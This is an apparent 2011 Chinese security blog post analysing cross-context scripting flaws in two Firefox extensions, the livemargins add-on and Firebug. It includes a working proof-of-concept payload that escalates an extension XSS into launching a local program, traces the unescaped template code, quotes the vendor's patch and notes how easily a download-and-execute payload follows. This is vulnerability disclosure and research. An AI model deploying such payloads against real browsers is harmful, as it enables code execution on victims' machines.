|
关于firefox的2个插件的漏洞
文/superhei 2011年06月22日
一、火狐魔镜
1.Exp: http://www.80vul.com/firefox/firefox-cn-nday.html
<!-- var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); file.initWithPath("C:\\WINDOWS\\system32\\calc.exe"); var process =Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); process.init(file); var args = ["-c", ""]; process.run(false, args, args.length); /* --> <script> document.write("<div draggable=\"true\" ondragstart=\"event.dataTransfer.setData('text/plain', '<sc"+"ript src="+document.URL+"></scr"+"ipt>')\"><h3>DRAG ME!!</h3></div>"); </script> <!-- */ -->
2.分析
这里之分析下最直接的触发的地方的代码:
livemargins@mozillaonline.com\content\search.js 函数:_translateInitCallback():
function _translateInitCallback(data, toLang) { var status = 'fail'; if (data && data.responseStatus === 200) { var gtResult = { entry: { toLanguage: code2name[toLang] ? code2name[toLang] : toLang, text: data.responseData.translatedText //取${entry.text} = data.responseData.translatedText } }; var template = unescape($('#googletrans-template').html()); var gtContent = $('<div>').attr('id', 'googletrans-content'); gtContent.html(TrimPath.parseTemplate(template).process(gtResult)); //通过.html()操作googletrans-template 在 \content\search.html里显示 for (var langCode in code2name) { if (langCode !== fromLang) { $('#googletrans-tlcode', gtContent). addOption(langCode, "翻译为 " + code2name[langCode]); } }
..............
在livemargins@mozillaonline.com\content\search.html里
<div id="googletrans-template" style="display:none;"> <div class="googletrans-item"> <span>${entry.toLanguage}</span> ${entry.text} //显示${entry.text} </div> <select id="googletrans-tlcode"> </select> <span style="color: grey;">或者</span> <a href="javascript:void(0);" class="googletrans-button" target="_blank">翻译全文</a> </div> 我们继续跟一下data.responseData.translatedText。 grep 一下_translateInitCallback()的调用:
function _detectCallback() { var toLang = 'en'; if (fromLang && fromLang.length > 0) { if (fromLang !== 'zh-CN') { toLang = 'zh-CN'; } _translate(toLang, _translateInitCallback); //这里 _translate callback给了_translateInitCallback() } else { self.endSearch(searchString); } }
我们看一下_translate()的代码:
function _translate(toLang, callback) { jQuery.ajax({ url: 'http://ajax.googleapis.com/ajax/services/language/translate', method: 'POST', dataType: 'json', timeout: 5000, data: { v: "1.0", q: searchString, langpair: "|" + toLang, key: 'ABQIAAAASCaOeo3ta_dogUbwquyfCxSpqFEWLxmF2C8ASAeMYkWcm8RXShQKtE5gb4GQJT6JrnWVPp5dE67yyw' }, beforeSend: function(request) { request.setRequestHeader('Referer', 'http://g-fox.cn/'); }, success: function(data){ callback(data, toLang); }, error: function(request, status, errorThrown) { callback(null, toLang); } }); }
data.responseData来源于jQuery.ajax:
http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&langpair=|zh-CN&key=ABQIAAAASCaOeo3ta_dogUbwquyfCxSpqFEWLxmF2C8ASAeMYkWcm8RXShQKtE5gb4GQJT6JrnWVPp5dE67yyw
官方的补丁是多处都加了函数stripXss()进行转义[至于有没有漏网之鱼那就不清楚了:)]:
stripXss: function(s) { if (!s) { return s; } return $('<p>').text(s).html(); },
二、firebug
http://www.80vul.com/firefox/Firebug%20Firefox%20Extension%20Cross%20Context%20Scripting%20Vulnerability.htm
后话:
1、其实这些东西都是去年我在blog上发起的《[技术挑战]How To Exploit Location Cross-Domain Scripting》里的Firefox的部分演示。
2、firefox插件里的“Cross Context Scripting”的问题考古:
2006 《Cross Context Scripting with Sage》 2009 《Cross Context Scripting with Firefox》 《Exploiting Cross Context Scripting Vulnerabilities in Firefox》
由此可以看出firefox的一个插件的xss足够root你的pc的而且是跨平台的:)而且playload的实现有现存的API[如实现一个download-exec的playload只要几行代码就可以了],其实这个应该算是firefox的对插件系统的设计问题,chrome的插件系统就科学很多[以后的的blog可能会给出具体的列子说明:)] 或许firefox以后的版本有所改进...
3、对于firefox插件代码审计是一个值得去挖掘一下的。
4、小心插件里的第三方内容。在《WEB2.0下的渗透测试》 我就有提到的,对于firefox的插件系统来说,如果引用的第三方内容如[Javascript]被人恶意控制的化,那效果是显而易见的。
|